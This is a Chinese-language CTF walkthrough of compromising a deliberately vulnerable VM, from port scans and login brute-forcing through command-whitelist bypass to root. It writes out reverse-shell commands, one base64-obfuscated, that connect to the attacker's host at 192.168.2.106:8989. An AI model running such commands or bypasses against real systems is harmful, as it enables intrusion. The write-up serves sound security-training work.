目标
获取root权限拿到flag
环境
靶机:VirtualBox运行,网络模式-桥接模式-选择外网的wifi作为网卡
攻击机:Kali VM运行,网络模式-桥接模式-选择外网的wifi作为网卡
开始测试
信息收集
1.首先我们进行主机的探测
发现目标主机,显示有三个端口开放,不过我们还是进行全端口扫描并进行指纹探测
nmap -sS -A -T4 -p0-65535 192.168.2.104
扫描完毕,我们得知系统可能是linux3.2-4.9,80
和8080
端口是http服务
2.接着我们就访问web页面,进行web端的信息收集
简单查看,发现有两个页面,说的是自己的支付系统被黑客攻击,以及对客户的歉意,balabala...,通过源码查看也没有发现有用的信息,我们进目录暴破
其中robots.txt
中没有提供敏感目录,admin
下的页面都是登录页面,还有dev
这个是一个关于新系统的介绍,其中包含了使用的开发框架以及联系方式等,还有一个shell
页面需要认证
漏洞挖掘
到目前的信息收集为止,我们有以下两个思路进行漏洞挖掘
思路一
- 我们进行目录暴破之后,发现了存在登录的地方,以及敏感的当前目标主机所使用的一些框架,邮箱信息等,我么可以从些信息入手,通过邮箱中的信息来对登录的地方进行猜解暴破,最终进入成功登录,在登录后的页面中继续漏洞挖掘
思路二 - 我们通过扫描端口发现了23端口开放,我们依旧可以通过前端的信息收集来进行ssh口令暴破,如果暴破成功将节省很多时间,但是口令暴破的成功率也是取决于字典以及信息收集
我们先从前端开始
1.我们看到dev
页面中有邮箱,每个邮箱都是不同的用户
2.我们将其中的关键字收集作为用户名的字典在登录页面进行暴破
最终我们暴破出了nick
的密码bulldog
,不过查看页面源代码后发现每个邮箱后面都有一个注释的hash,我们经过破解得到了两个用户的hash结果:
nick:bulldog
sarah:bulldoglover
3.通过我们之前对登录的暴破,我们知道了这就是登录的用户名和密码,那么我们就直接进行登录
我们使用django登录之后发现提示没有修改的权限,我们尝试访问之前通过扫描找到的admin
下的目录,通过访问我们发现都是403
,不过还有一个dev
下的shell
,这个当时提示需要认证,我们在登录后台的情况下访问这个页面/dev/shell
4.出现了文章中提到的Web-Shell页面,可以进行命令执行,但是可以使用的命令仅仅限制在列出的几个,我们推测,应该使用的是白名单,我们尝试同时执行多条命令看能否绕过过滤
我们看到,绕过了限制,成功执行了whoami
这个命令,我们也可以使用pwd && whoami
来执行两条命令,既然可以命令执行了,我们就进行反弹shell,执行如下的命令
ifconfig 123 | bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'
我们直接执行命令会提示500,应该是输入内容格式问题导致服务器无法正确执行命令,也有可能是之前提到对主机增加了防护措施导致的,最终我们使用base64加密成功反弹shell,不过直接写入文件不加密同样可以反弹shell,如下
echo "bash -i >& /dev/tcp/192.168.2.106/8989 0>&1" | bash
我们在kali中监听8989
端口接收到反弹的shell
提升权限
1.我们首先查看了目标主机的版本,是4.4
的,不存在本地提权漏洞,那我们就直接查看目标主机下的用户
其中除了我们这个用户之外,还有一个用户bulldogadmin
需要我们特别关注
2.查看这两个用户的文件
find / -user bulldogadmin 2>/dev/null
find / -user django 2>/dev/null
其中django的目录很多找起来比较麻烦,我们先从bulldogadmin
开始,我们看到这里有一个特殊的目录名hiddenadmindirectory
,意思是隐藏的管理员目录,我们进入到目录中查看
我们进入这个隐藏目录中看有什么信息
可以看到有两个文件,我们先查看customPermissionApp
的文件类型file customPermissionApp
可以看到是一个可执行文件,但是我们没有执行权限,我们又看了note
文件,说的是django服务相关的内容。这里的关键是一个可执行文件,根据我们的猜测执行这个文件可以获取管理员权限,但是现在无权限执行,我们尝试使用strings customPermissionApp
查看其中可打印的字符串
我们看到了这些字符串,如果是执行这个文件可以获得管理员权限,那么管理的密码应该也在其中以变量的方式存放,应该是这些命令执行之前
这个几个字符比较可疑,我们对其进行拼接SUPERultHimatePASHSWORDyouHCANTget
,不过我们分析发现其中有一个明显的PASSWORD
单词中间多了一个H
,而且每一行最后都是H
我们尝试将H
删除,得到一句话SUPERultimatePASSWORDyouCANTget
,翻译:你无法得到超级管理员的密码.....
虽然它这么说,我们还是尝试是否可以登录root
账户,不过我们还需要反弹过一个终端过来
python -c 'import pty;pty.spawn("/bin/bash")'
接着切换到root账户
sudo su root
SUPERultimatePASSWORDyouCANTget
完成~!
思路总结
1.我们这次完成的大体思路是通过前端页面源码中泄露的后台的密码进入后台,从而在
/dev/shell
页面有了执行命令的权限,我们绕过命令执行的白名单,成反弹了shell,这里反弹shell不能直接执行命令,需要我们将命令写入文件,通过执行文件来执行命令,得到shell之后,接着是寻找root密码,我们查看了一些特殊用户的文件,历史命令,最终在bulldogadmin
用户目录下的一个隐藏文件中,通过strings
显示,然后拼接字符串找到了密码,这个找密码是真的有点离谱。